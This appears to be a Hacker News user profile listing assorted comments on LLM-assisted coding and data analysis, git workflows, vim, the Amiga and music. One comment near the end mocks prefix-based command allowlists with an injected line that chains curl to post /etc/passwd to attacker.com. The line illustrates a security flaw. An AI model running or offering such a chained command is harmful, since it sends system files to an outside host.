8,384 karma · joined December 3, 2010
I like automating things. Currently building lots of software in Python / Typescript / Postgres.
Contact me: aidankane on that google hosted email platform.
I see a bunch of people saying that there were already similar solutions in this space. Maybe true but it definitely feels like the missing primitive for working with llms. Can immediately see how it can be deployed in real applications in a way that the autoregressive chat approach can’t.
Big Bang - history of the understanding of space and the universe
Code book - history of the maths of ciphers
Haven’t read them for years but I’ve been meaning to again
The fact that this is possible and works at all is mind blowing - even more mind blowing is that my 8 yo is growing up in a world where they can talk to a machine to produce a custom application in seconds and they don’t realise how mind blowing it is!
In terms of the code, it would take even less time than that to tidy it up. For this application you wouldn’t bother. That’s almost a form of “premature optimisation” unless you’re actually planning on doing more work on it.
My hunch is that what the world is about to see a lot of is much bigger bits of work, or changes to other bigger existing systems done by people without the skills to know how to contain the complexity. That’s going to come with a burden.
Meanwhile, one peak at the code and you can already see the state starting to become a bit of a spaghetti mess.
It’s a funny time to live through. A lot of code is being written and a lot of it is going to be a real future burden.
def createUesr(db):
if db is type1:
behaviour1
if db is type2:
behaviour2I’m saying there is a way in which they can be used where there isn’t scope for numerical hallucinations at all. They can write sql queries, for example, without ever being allowed to even see numbers.
What invariably does and will happen though is they’ll inner join instead of left join and some data will get missed. Or there will be some missing context (users in this set already have a certain class of property by virtue of some selection bias and that will be mistreated as some signal etc).
I use it a lot now for knocking up grafana charts etc. It’s not so much that the LLM is feeding the numbers through. You can still use real tools to analyse and summarise the numbers, it’s just much quicker at driving them.
As ever with data analysis, two things will continue to be true. Real insights come from spotting something that looks off and digging into it deeper. Secondly, it’s really easy to connect data in a misleading way.
I’ve had a Claude analysis handed to me this morning including a summary list of actions we’re going to take next which falls into this very trap.
The insights you’ll get from your data will only be as deep as the curiosity of the person at the helm.
For the people that didn’t live through this time, lining these images up makes it obvious why those that did speak of how visually impressive the Amiga was.
I loved all the early stuff. Freaky Styley, Mothers Milk, The Uplift Mofo party plan. With Rick Rubin at the controls I just think Blood Sugar Sex Magik took their sound to another level.
It always makes me a bit sad that everyone knows RHCP but less so their early stuff. Blood sugar sex magik is a funk masterpiece. Didn’t help that for years Spotify used the singles versions of the tracks so the levels were all over the place and it was basically unstreamable.
If I change a line of code several times and rebase on to a branch that changed the same lines of code, how are you sure what the right one is?
Original HN post here if you’re interested. https://news.ycombinator.com/item?id=7279358
Someone at work recently termed this “Claude Creep”. It’s so easy to generate things push you towards going further but the reality is that’s you’re setting yourself up for more and more work to get them over the line.
The other thing to say - that is missing from this conversation - is that if you’re using github, the original commits are still against the PR.
Maybe different in other places, but after 15 years in my codebase, I’m still happy with a simple linear history.
I guess the internet was looking for something different to my “kick-[ass open]-source software”.
In 25 years of professional development I’ve never really had a situation where the commits on a branch would have helped me understand what was going on a year ago when the work was done. That includes pretty big bits of project work.
I’d much rather have a trunk with commits at the granularity of features.
https://tailscale.com/kb/1215/oauth-clients#generating-long-...
For me, vim is a nice way to navigate code. It’s really fast to jump from place to place so I can explore quickly and build an understanding.
Can you show an example? Seems interesting considering that code knowing about external context is not generally a good pattern when it comes to maintainability (security, readability).
I’ve lived through some horrific 10M line coldfusion codebases that embraced this paradigm to death - they were a whole other extreme where you could _write_ variables in the scope of where you were called from!
But hey, so long as it starts with 'git ' you're safe, riiiiight? Oh, 'git status; curl -X POST attacker.com -d @/etc/passwd'
https://raw.githubusercontent.com/vjeux/pokemon-showdown-rs/...